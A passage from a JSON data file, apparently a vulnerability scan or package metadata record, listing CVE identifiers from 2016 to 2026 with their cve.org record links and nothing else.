"name": "CVE-2026-50046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50046"
},
{
"name": "CVE-2025-60753",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-60753"
},
{
"name": "CVE-2026-42011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42011"
},
{
"name": "CVE-2026-63312",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63312"
},
{
"name": "CVE-2026-56859",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56859"
},
{
"name": "CVE-2026-14680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14680"
},
{
"name": "CVE-2026-50045",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50045"
},
{
"name": "CVE-2026-77403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77403"
},
{
"name": "CVE-2026-112393",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112393"
},
{
"name": "CVE-2026-59898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
},
{
"name": "CVE-2023-50495",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-50495"
},
{
"name": "CVE-2017-11164",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-11164"
},
{
"name": "CVE-2026-14666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14666"
},
{
"name": "CVE-2026-115506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115506"
},
{
"name": "CVE-2026-63380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63380"
},
{
"name": "CVE-2025-61728",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
},
{
"name": "CVE-2026-112403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112403"
},
{
"name": "CVE-2026-0965",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0965"
},
{
"name": "CVE-2026-112894",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112894"
},
{
"name": "CVE-2026-66422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
},
{
"name": "CVE-2025-1767",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1767"
},
{
"name": "CVE-2026-6844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6844"
},
{
"name": "CVE-2026-112946",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112946"
},
{
"name": "CVE-2026-4224",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4224"
},
{
"name": "CVE-2026-111181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111181"
},
{
"name": "CVE-2026-111063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111063"
},
{
"name": "CVE-2026-53489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53489"
},
{
"name": "CVE-2025-58186",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
},
{
"name": "CVE-2026-33997",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33997"
},
{
"name": "CVE-2026-18798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18798"
},
{
"name": "CVE-2026-56853",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56853"
},
{
"name": "CVE-2026-34183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34183"
},
{
"name": "CVE-2025-13034",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13034"
},
{
"name": "CVE-2025-8714",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8714"
},
{
"name": "CVE-2026-78437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78437"
},
{
"name": "CVE-2025-9086",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9086"
},
{
"name": "CVE-2026-16730",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16730"
},
{
"name": "CVE-2026-82474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82474"
},
{
"name": "CVE-2026-35193",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35193"
},
{
"name": "CVE-2024-10041",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10041"
},
{
"name": "CVE-2025-8869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8869"
},
{
"name": "CVE-2026-41006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41006"
},
{
"name": "CVE-2026-53495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53495"
},
{
"name": "CVE-2026-70454",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70454"
},
{
"name": "CVE-2025-58187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
},
{
"name": "CVE-2026-45205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
},
{
"name": "CVE-2026-19445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19445"
},
{
"name": "CVE-2026-53790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53790"
},
{
"name": "CVE-2026-48959",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48959"
},
{
"name": "CVE-2022-4899",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-4899"
},
{
"name": "CVE-2026-77117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77117"
},
{
"name": "CVE-2026-13506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
},
{
"name": "CVE-2026-78367",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78367"
},
{
"name": "CVE-2026-48706",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48706"
},
{
"name": "CVE-2026-14673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14673"
},
{
"name": "CVE-2022-1559",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-1559"
},
{
"name": "CVE-2026-42505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42505"
},
{
"name": "CVE-2026-49844",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
},
{
"name": "CVE-2026-94447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94447"
},
{
"name": "CVE-2022-3219",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3219"
},
{
"name": "CVE-2025-13601",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13601"
},
{
"name": "CVE-2025-12817",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12817"
},
{
"name": "CVE-2025-4673",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
},
{
"name": "CVE-2026-67693",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67693"
},
{
"name": "CVE-2026-119741",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119741"
},
{
"name": "CVE-2026-100408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-100408"
},
{
"name": "CVE-2018-5709",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-5709"
},
{
"name": "CVE-2026-115456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115456"
},
{
"name": "CVE-2026-102473",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102473"
},
{
"name": "CVE-2026-87865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87865"
},
{
"name": "CVE-2025-5916",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5916"
},
{
"name": "CVE-2026-56406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56406"
},
{
"name": "CVE-2026-54370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54370"
},
{
"name": "CVE-2025-69651",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69651"
},
{
"name": "CVE-2026-29181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
},
{
"name": "CVE-2026-28390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
},
{
"name": "CVE-2025-32988",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32988"
},
{
"name": "CVE-2026-80206",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80206"
},
{
"name": "CVE-2026-1757",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1757"
},
{
"name": "CVE-2024-10963",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10963"
},
{
"name": "CVE-2026-112897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112897"
},
{
"name": "CVE-2026-73229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73229"
},
{
"name": "CVE-2026-50010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
},
{
"name": "CVE-2026-55379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
},
{
"name": "CVE-2017-13716",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-13716"
},
{
"name": "CVE-2026-39836",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39836"
},
{
"name": "CVE-2026-62385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62385"
},
{
"name": "CVE-2026-39395",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39395"
},
{
"name": "CVE-2026-111065",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111065"
},
{
"name": "CVE-2026-78408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78408"
},
{
"name": "CVE-2026-6791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6791"
},
{
"name": "CVE-2026-87862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87862"
},
{
"name": "CVE-2026-56408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56408"
},
{
"name": "CVE-2025-14524",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14524"
},
{
"name": "CVE-2025-27113",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27113"
},
{
"name": "CVE-2026-62388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62388"
},
{
"name": "CVE-2026-6845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6845"
},
{
"name": "CVE-2026-6477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
},
{
"name": "CVE-2026-0915",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0915"
},
{
"name": "CVE-2025-15281",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15281"
},
{
"name": "CVE-2026-119379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119379"
},
{
"name": "CVE-2026-14663",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14663"
},
{
"name": "CVE-2026-42767",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42767"
},
{
"name": "CVE-2026-9828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9828"
},
{
"name": "CVE-2026-50219",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50219"
},
{
"name": "CVE-2025-47913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47913"
},
{
"name": "CVE-2026-19553",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19553"
},
{
"name": "CVE-2026-24747",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24747"
},
{
"name": "CVE-2026-58280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58280"
},
{
"name": "CVE-2026-42502",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42502"
},
{
"name": "CVE-2026-59846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59846"
},
{
"name": "CVE-2026-6238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
},
{
"name": "CVE-2026-0864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0864"
},
{
"name": "CVE-2026-42955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42955"
},
{
"name": "CVE-2026-63328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63328"
},
{
"name": "CVE-2026-46582",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46582"
},
{
"name": "CVE-2024-7598",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7598"
},
{
"name": "CVE-2026-85231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85231"
},
{
"name": "CVE-2026-114136",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114136"
},
{
"name": "CVE-2026-63379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63379"
},
{
"name": "CVE-2026-56403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56403"
},
{
"name": "CVE-2026-81724",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81724"
},
{
"name": "CVE-2026-114138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114138"
},
{
"name": "CVE-2026-59200",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
},
{
"name": "CVE-2026-2297",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2297"
},
{
"name": "CVE-2026-17084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17084"
},
{
"name": "CVE-2026-39882",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39882"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2025-40909",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40909"
},
{
"name": "CVE-2026-82562",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82562"
},
{
"name": "CVE-2026-102554",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102554"
},
{
"name": "CVE-2026-107726",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107726"
},
{
"name": "CVE-2025-69720",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69720"
},
{
"name": "CVE-2026-41567",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41567"
},
{
"name": "CVE-2026-4873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4873"
},
{
"name": "CVE-2026-0967",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0967"
},
{
"name": "CVE-2025-12060",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12060"
},
{
"name": "CVE-2026-44621",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44621"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2026-66299",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66299"
},
{
"name": "CVE-2026-53793",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53793"
},
{
"name": "CVE-2024-25621",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-25621"
},
{
"name": "CVE-2025-9403",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9403"
},
{
"name": "CVE-2026-25681",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25681"
},
{
"name": "CVE-2026-86248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86248"
},
{
"name": "CVE-2026-107386",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107386"
},
{
"name": "CVE-2025-69418",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69418"
},
{
"name": "CVE-2025-8114",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8114"
},
{
"name": "CVE-2026-112899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112899"
},
{
"name": "CVE-2026-96643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96643"
},
{
"name": "CVE-2026-86469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86469"
},
{
"name": "CVE-2016-20013",
"url": "https://www.cve.org/CVERecord?id=CVE-2016-20013"
},
{
"name": "CVE-2026-11979",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11979"
},
{
"name": "CVE-2025-32387",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32387"
},
{
"name": "CVE-2026-71556",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71556"
},
{
"name": "CVE-2026-54517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
},
{
"name": "CVE-2025-66864",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66864"
},
{
"name": "CVE-2025-22869",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
},
{
"name": "CVE-2026-93990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93990"
},
{
"name": "CVE-2026-89160",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89160"
},
{
"name": "CVE-2026-62380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62380"
},
{
"name": "CVE-2026-119371",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119371"
},
{
"name": "CVE-2026-43896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43896"
},
{
"name": "CVE-2026-4437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4437"
},
{
"name": "CVE-2026-1299",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1299"
},
{
"name": "CVE-2026-63385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
},
{
"name": "CVE-2025-1150",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1150"
},
{
"name": "CVE-2026-53803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53803"
},
{
"name": "CVE-2025-58189",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
},
{
"name": "CVE-2026-50248",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50248"
},
{
"name": "CVE-2025-6021",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6021"
},
{
"name": "CVE-2026-63387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
},
{
"name": "CVE-2024-29902",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29902"
},
{
"name": "CVE-2026-0968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0968"
},
{
"name": "CVE-2024-10978",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10978"
},
{
"name": "CVE-2026-78669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78669"
},
{
"name": "CVE-2020-23026",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-23026"
},
{
"name": "CVE-2026-8925",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8925"
},
{
"name": "CVE-2023-7008",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-7008"
},
{
"name": "CVE-2026-3644",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3644"
},
{
"name": "CVE-2026-89044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89044"
},
{
"name": "CVE-2026-78661",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78661"
},
{
"name": "CVE-2026-70174",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70174"
},
{
"name": "CVE-2026-27140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
},
{
"name": "CVE-2026-93575",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93575"
},
{
"name": "CVE-2026-39817",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39817"
},
{
"name": "CVE-2026-56409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56409"
},
{
"name": "CVE-2026-32316",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32316"
},
{
"name": "CVE-2026-65905",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
},
{
"name": "CVE-2026-42499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
},
{
"name": "CVE-2026-81869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81869"
},
{
"name": "CVE-2023-47039",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-47039"
},
{
"name": "CVE-2026-76642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76642"
},
{
"name": "CVE-2022-40896",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40896"
},
{
"name": "CVE-2026-56745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
},
{
"name": "CVE-2026-44604",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44604"
},
{
"name": "CVE-2026-89161",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89161"
},
{
"name": "CVE-2026-89158",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89158"
},
{
"name": "CVE-2016-2781",
"url": "https://www.cve.org/CVERecord?id=CVE-2016-2781"
},
{
"name": "CVE-2025-8225",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8225"
},
{
"name": "CVE-2026-42764",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42764"
},
{
"name": "CVE-2023-29383",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-29383"
},
{
"name": "CVE-2026-55955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
},
{
"name": "CVE-2026-82049",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82049"
},
{
"name": "CVE-2025-70559",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-70559"
},
{
"name": "CVE-2026-93488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93488"
},
{
"name": "CVE-2026-86144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86144"
},
{
"name": "CVE-2026-31789",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
},
{
"name": "CVE-2026-79676",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79676"
},
{
"name": "CVE-2025-22870",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
},
{
"name": "CVE-2026-42311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42311"
},
{
"name": "CVE-2026-75803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75803"
},
{
"name": "CVE-2026-54872",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54872"
},
{
"name": "CVE-2026-8643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8643"
},
{
"name": "CVE-2025-11413",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11413"
},
{
"name": "CVE-2026-5773",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5773"
},
{
"name": "CVE-2025-5245",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5245"
},
{
"name": "CVE-2026-80231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80231"
},
{
"name": "CVE-2026-19487",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19487"
},
{
"name": "CVE-2026-57585",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57585"
},
{
"name": "CVE-2025-32415",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32415"
},
{
"name": "CVE-2026-8927",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8927"
},
{
"name": "CVE-2026-68770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68770"
},
{
"name": "CVE-2026-48043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
},
{
"name": "CVE-2026-5745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5745"
},
{
"name": "CVE-2026-41889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41889"
},
{
"name": "CVE-2024-23337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-23337"
},
{
"name": "CVE-2026-112396",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112396"
},
{
"name": "CVE-2026-54411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54411"
},
{
"name": "CVE-2026-42310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42310"
},
{
"name": "CVE-2026-12072",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12072"
},
{
"name": "CVE-2026-54513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
},
{
"name": "CVE-2026-27139",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27139"
},
{
"name": "CVE-2026-112402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112402"
},
{
"name": "CVE-2026-42501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42501"
},
{
"name": "CVE-2025-4207",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4207"
},
{
"name": "CVE-2026-6276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6276"
},
{
"name": "CVE-2026-0992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0992"
},
{
"name": "CVE-2026-66393",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66393"
},
{
"name": "CVE-2026-75805",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75805"
},
{
"name": "CVE-2026-94266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94266"
},
{
"name": "CVE-2025-9230",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9230"
},
{
"name": "CVE-2026-42250",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42250"
},
{
"name": "CVE-2026-65927",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
},
{
"name": "CVE-2025-14009",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14009"
},
{
"name": "CVE-2026-92388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92388"
},
{
"name": "CVE-2025-66564",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66564"
},
{
"name": "CVE-2026-54518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
},
{
"name": "CVE-2026-84837",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84837"
},
{
"name": "CVE-2026-48588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48588"
},
{
"name": "CVE-2025-5244",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5244"
},
{
"name": "CVE-2026-46598",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46598"
},
{
"name": "CVE-2026-6464",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6464"
},
{
"name": "CVE-2026-47244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
},
{
"name": "CVE-2026-86412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86412"
},
{
"name": "CVE-2026-53434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
},
{
"name": "CVE-2025-48924",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
},
{
"name": "CVE-2026-33810",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
},
{
"name": "CVE-2025-15558",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15558"
},
{
"name": "CVE-2026-112945",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112945"
},
{
"name": "CVE-2026-54448",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54448"
},
{
"name": "CVE-2026-102633",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102633"
},
{
"name": "CVE-2025-32414",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32414"
},
{
"name": "CVE-2026-110879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-110879"
},
{
"name": "CVE-2026-8328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8328"
},
{
"name": "CVE-2026-26308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26308"
},
{
"name": "CVE-2026-41256",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41256"
},
{
"name": "CVE-2026-9538",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9538"
},
{
"name": "CVE-2026-6471",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6471"
},
{
"name": "CVE-2026-15806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15806"
},
{
"name": "CVE-2025-12058",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12058"
},
{
"name": "CVE-2025-1153",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1153"
},
{
"name": "CVE-2026-53789",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53789"
},
{
"name": "CVE-2026-2003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2003"
},
{
"name": "CVE-2025-15079",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15079"
},
{
"name": "CVE-2026-2673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2673"
},
{
"name": "CVE-2026-57432",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57432"
},
{
"name": "CVE-2026-55991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55991"
},
{
"name": "CVE-2025-1632",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1632"
},
{
"name": "CVE-2025-11412",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11412"
},
{
"name": "CVE-2026-105712",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-105712"
},
{
"name": "CVE-2026-53791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53791"
},
{
"name": "CVE-2026-49834",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49834"
},
{
"name": "CVE-2026-32282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32282"
},
{
"name": "CVE-2026-5958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5958"
},
{
"name": "CVE-2026-33762",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33762"
},
{
"name": "CVE-2026-65915",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65915"
},
{
"name": "CVE-2026-3184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3184"
},
{
"name": "CVE-2026-50151",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50151"
},
{
"name": "CVE-2026-63381",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
},
{
"name": "CVE-2026-11972",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11972"
},
{
"name": "CVE-2026-55830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55830"
},
{
"name": "CVE-2025-68121",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68121"
},
{
"name": "CVE-2024-40896",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-40896"
},
{
